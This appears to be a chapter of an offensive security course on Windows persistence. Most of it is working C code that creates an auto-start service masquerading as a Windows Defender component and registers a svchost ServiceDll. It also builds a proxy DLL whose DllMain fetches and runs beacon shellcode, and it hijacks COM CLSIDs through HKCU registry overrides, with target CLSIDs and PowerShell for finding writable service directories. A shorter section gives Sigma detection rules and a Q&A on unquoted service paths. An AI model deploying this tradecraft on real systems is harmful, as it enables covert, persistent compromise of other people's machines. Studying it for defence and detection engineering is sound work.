Chapter 125

Persistence: Services and DLL Hijacking

Creating persistent Windows services with the SCM API, abusing DLL search order to inject into legitimate processes at startup, proxy DLL forwarding to maintain target functionality, and COM DLL hijacking via HKCU overrides

Scenario

Process Monitor captures show that C:\Program Files\VulnApp\service.exe tries to load dbghelp.dll from its own directory before finding the legitimate one in System32. The service directory is writable by your current (non-admin) user account — a misconfiguration from the installer. You drop a malicious dbghelp.dll in that directory that loads your beacon from a shellcode buffer in DllMain and then calls the real dbghelp.dll's exports via forwarding so the service continues functioning normally. On every service restart — which happens at every system boot — your beacon loads automatically in the context of the service account. No new service created, no Run key added, no scheduled task. The only artifact is a DLL in a vendor's application directory.

Service-Based Persistence

Windows Service persistence: - Runs at system boot (StartType = SERVICE_AUTO_START) or demand - Runs as SYSTEM, Network Service, or a service account - Survives user logoff / session 0 isolation - Creates: HKLM\SYSTEM\CurrentControlSet\Services\ Persistence options: 1. Create new service (highly visible — Event 7045 "New service installed") 2. Modify existing service ImagePath (if you have write access to service key) 3. DLL hijack into existing service (no new service, no key modification) Service binary types: SERVICE_WIN32_OWN_PROCESS: standalone EXE (svchost.exe-style with ServiceMain export) SERVICE_WIN32_SHARE_PROCESS: DLL loaded into svchost.exe (most Windows services) SERVICE_KERNEL_DRIVER: kernel driver (requires kernel signing, covered in ch150+) Service DLL (svchost sharing): HKLM\SYSTEM\CurrentControlSet\Services\\Parameters\ServiceDll → Loaded by svchost.exe group → Runs as service DLL, not standalone EXE → Looks like a built-in service when examined superficially

Service Creation and Persistence (C)

// Create a persistent service that survives reboots
// Service binary must export ServiceMain (or be a simple EXE with service boilerplate)

BOOL CreatePersistService(const wchar_t* svcName, const wchar_t* svcDisplay,
                          const wchar_t* binPath) {
    SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!hSCM) return FALSE;

    SC_HANDLE hSvc = CreateServiceW(
        hSCM,
        svcName,                    // e.g. "WinDefHelper"
        svcDisplay,                 // e.g. "Windows Defender Helper Service"
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,         // start at boot
        SERVICE_ERROR_NORMAL,
        binPath,                    // path to beacon EXE
        NULL,                       // load order group
        NULL,                       // tag ID
        NULL,                       // dependencies
        NULL,                       // account name (NULL = LocalSystem)
        NULL                        // password
    );
    if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; }

    // Set description (makes it look more legitimate)
    SERVICE_DESCRIPTIONW desc = {
        (LPWSTR)L"Provides enhanced threat detection for Windows Defender."
    };
    ChangeServiceConfig2W(hSvc, SERVICE_CONFIG_DESCRIPTION, &desc);

    StartServiceW(hSvc, 0, NULL);
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

// Service DLL approach — load our DLL into svchost.exe
// Requires: HKLM\SYSTEM\...\Services\ with ServiceDll value
BOOL CreateSvchostService(const wchar_t* svcName, const wchar_t* dllPath) {
    // 1. Create service entry pointing to svchost -k netsvcs
    SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    SC_HANDLE hSvc = CreateServiceW(hSCM, svcName, svcName,
        SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL, L"%SystemRoot%\\System32\\svchost.exe -k netsvcs",
        NULL, NULL, NULL, NULL, NULL);

    // 2. Set ServiceDll under Parameters subkey
    WCHAR paramKey[256];
    swprintf_s(paramKey, 256, L"SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", svcName);
    HKEY hKey;
    RegCreateKeyExW(HKEY_LOCAL_MACHINE, paramKey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
    RegSetValueExW(hKey, L"ServiceDll", 0, REG_EXPAND_SZ,
                   (BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(wchar_t)));
    RegCloseKey(hKey);

    // 3. Add service name to svchost group (netsvcs)
    // HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs (REG_MULTI_SZ)

    StartServiceW(hSvc, 0, NULL);
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

DLL Hijacking — Theory

DLL Search Order (default, SafeDllSearchMode disabled): 1. The directory from which the application was loaded 2. The system directory (C:\Windows\System32) 3. The 16-bit system directory (C:\Windows\System) 4. The Windows directory (C:\Windows) 5. The current directory 6. Directories in the PATH environment variable SafeDllSearchMode (enabled by default on Vista+): Moves "current directory" to position 6, after system dirs Still: app directory (1) searched FIRST — this is the attack surface Attack surface: If application loads DLL by NAME ONLY (not absolute path): LoadLibraryA("dbghelp.dll") ← vulnerable vs LoadLibraryA("C:\\Windows\\System32\\dbghelp.dll") ← not hijackable Conditions for successful hijack: a) Target process calls LoadLibrary with a name-only argument b) The DLL doesn't exist in position 1 (app dir) at install time c) Attacker can write to a directory that's searched before the real DLL location d) The target process loads the DLL at startup (for persistence) or at runtime

Finding Hijackable Services with Process Monitor

# Process Monitor (Procmon) filter to find DLL hijacking opportunities:
# 1. Run Procmon as admin
# 2. Filter: Operation = "CreateFile"
#            Path ends with ".dll"
#            Result = "NAME NOT FOUND"
# 3. Look for: DLL not found in app directory (but found later in System32)
#    These are hijackable if you can write to the app directory

# PowerShell: Enumerate services with writable binary directories
Get-WmiObject Win32_Service | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace ' -.*',''
    $dir  = Split-Path $path -Parent
    if (Test-Path $dir) {
        $acl = Get-Acl $dir
        $writable = $acl.Access | Where-Object {
            $_.FileSystemRights -match 'Write|FullControl' -and
            ($_.IdentityReference -match 'Everyone|Users|Authenticated Users|BUILTIN\\Users')
        }
        if ($writable) {
            [PSCustomObject]@{
                Service  = $_.Name
                Path     = $path
                Dir      = $dir
                WriteACL = $writable.IdentityReference -join ','
            }
        }
    }
} | Format-Table -AutoSize

# Additional checks: PATH hijacking (writable directory earlier in PATH than System32)
$env:PATH.Split(';') | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        # check for write access by current user
    }
}

DLL Proxy / Export Forwarding

// Malicious DLL that proxies all exports to the real DLL
// Target application loads our DLL, which:
//   1. In DllMain: loads and runs beacon
//   2. Exports all real functions by forwarding to the legitimate DLL
// Application never notices — all expected functions work normally

// Step 1: Find real DLL and list its exports (dumpbin /exports dbghelp.dll)
// Step 2: Build proxy DLL with #pragma comment(linker, "/export=...")

#pragma comment(linker, "/export:MiniDumpWriteDump=C:\\Windows\\System32\\dbghelp.MiniDumpWriteDump,@1")
#pragma comment(linker, "/export:StackWalk64=C:\\Windows\\System32\\dbghelp.StackWalk64,@2")
// ... repeat for every export in the real DLL

// MinGW alternative (generates .def file from exports and creates forwarding stubs):
// Tools: dll_to_proxy.py, SharpDllProxy, Koppeling

// DllMain: beacon execution + transparent proxy
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hInst);
        // Load beacon in a new thread to avoid blocking DllMain
        CreateThread(NULL, 0, BeaconThread, NULL, 0, NULL);
    }
    return TRUE;
}

DWORD WINAPI BeaconThread(LPVOID) {
    // Sleep briefly to let DllMain return and process continue loading
    Sleep(2000);
    // FetchPayload + reflective load (ch117)
    DWORD payloadSize = 0;
    LPVOID payload = FetchPayload(&payloadSize);
    if (payload) ExecShellcode((BYTE*)payload, payloadSize);
    return 0;
}

// Tools for generating proxy DLLs automatically:
// SharpDllProxy (github.com/Flangvik/SharpDllProxy) — reads exports, generates C# stubs
// Koppeling (github.com/monoxgas/Koppeling) — adaptive proxy with PE parsing

COM DLL Hijacking via HKCU Override

// COM objects are registered under HKCR (combines HKLM and HKCU)
// HKCU takes precedence over HKLM — no admin needed to override
// Write a HKCU COM registration pointing to our DLL for a CLSID used by a common app

// Step 1: Find a CLSID used by auto-run programs (Autoruns tool → COM section)
// Good targets: CLSIDs used by Windows Explorer, Office apps, shell extensions
// that load per-user at logon

// Step 2: Write HKCU CLSID override
BOOL COMHijackPersist(const wchar_t* clsid, const wchar_t* dllPath) {
    WCHAR keyPath[512];
    swprintf_s(keyPath, 512,
        L"Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

    HKEY hKey;
    RegCreateKeyExW(HKEY_CURRENT_USER, keyPath, 0, NULL, 0,
                    KEY_SET_VALUE, NULL, &hKey, NULL);

    // Default value = DLL path
    RegSetValueExW(hKey, NULL, 0, REG_SZ,
                   (BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(wchar_t)));
    // ThreadingModel must match
    RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ,
                   (BYTE*)L"Apartment", 18);
    RegCloseKey(hKey);
    return TRUE;
}

// Common hijackable CLSIDs (change frequently — always verify in target environment):
// {BCDE0395-E52F-467C-8E3D-C4579291692E}: MMDeviceEnumerator (loaded by Explorer)
// {9E5AF7C1-E34F-4D90-AF8A-D10E9A585DE2}: Windows Search NameSpace extension
// Autoruns.exe → "COM & Autorun" tab shows which CLSIDs load at login

// No admin needed: HKCU registration only persists for current user
// But: triggers at every logon without any new service, task, or run key

Detection Engineering

-- Sigma: DLL loaded from writable non-standard path
title: DLL Loaded from Writable Directory (Potential Hijack)
logsource:
  product: windows
  category: image_load    # Sysmon Event 7
detection:
  selection:
    EventID: 7
    ImageLoaded|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Users\Public\'
      - '\Downloads\'
    Signed: 'false'
  condition: selection
level: medium

-- Service creation detection (Event 7045):
title: New Service with Suspicious Binary Path
logsource:
  product: windows
  category: driver_load
detection:
  selection:
    EventID: 7045
    ServiceFileName|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Users\'
      - '%APPDATA%'
  condition: selection
level: high

-- COM hijack detection:
-- Sysmon Event 12/13/14: Registry object created/modified
-- Look for HKCU\Software\Classes\CLSID\{*}\InProcServer32 creation
title: COM Object Hijacking via HKCU Registration
logsource:
  product: windows
  category: registry_add
detection:
  selection:
    EventID: 12
    TargetObject|contains: '\Software\Classes\CLSID\'
    TargetObject|endswith: '\InProcServer32'
    TargetObject|startswith: 'HKU\'
  condition: selection
level: medium

-- DLL hijacking detection using image load baselining:
-- Hash every DLL loaded by each process at T=0
-- Alert on: DLL with known hash loaded from new/different path than baseline
-- Microsoft Defender ATP: DLL path change detection for Windows-owned DLLs

-- Unquoted service path exploitation (separate but related):
-- Services with paths like: C:\Program Files\My App\service.exe
-- If "C:\Program.exe" exists → Windows tries it first (no quotes = parse error)
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notlike '"*"' -and $_.PathName -like '* *'
}

Q&A

What is the unquoted service path vulnerability and why does it exist as a distinct exploitation class from DLL hijacking?

When a Windows service's ImagePath contains spaces but is not quoted, the SCM uses an ambiguous path resolution algorithm. For a path like C:\Program Files\VulnSvc\service.exe -config, Windows tries to execute files in this order: C:\Program.exe, C:\Program Files\VulnSvc.exe, C:\Program Files\VulnSvc\service.exe. If an attacker can write to any directory in the path that appears before the real binary — and C:\Program.exe or C:\Program Files\VulnSvc.exe doesn't exist — placing their binary at one of those locations causes it to execute instead of the real service binary. This is distinct from DLL hijacking because: (1) it targets the EXE search path, not the DLL search order; (2) the attacker's binary replaces the entire service execution, not just a library component; (3) the attack requires write access to a directory in the service path prefix, not the application directory. Detection: enumerate all services, check for paths with spaces and no quotes, cross-reference with directory write permissions for standard users. Fix: always quote service binary paths in registry ("C:\Program Files\App\service.exe"). Practical exploitation: C:\Program Files\ is rarely writable by standard users on modern Windows, but third-party installers occasionally set weak ACLs on their install directories, making the intermediate path writable.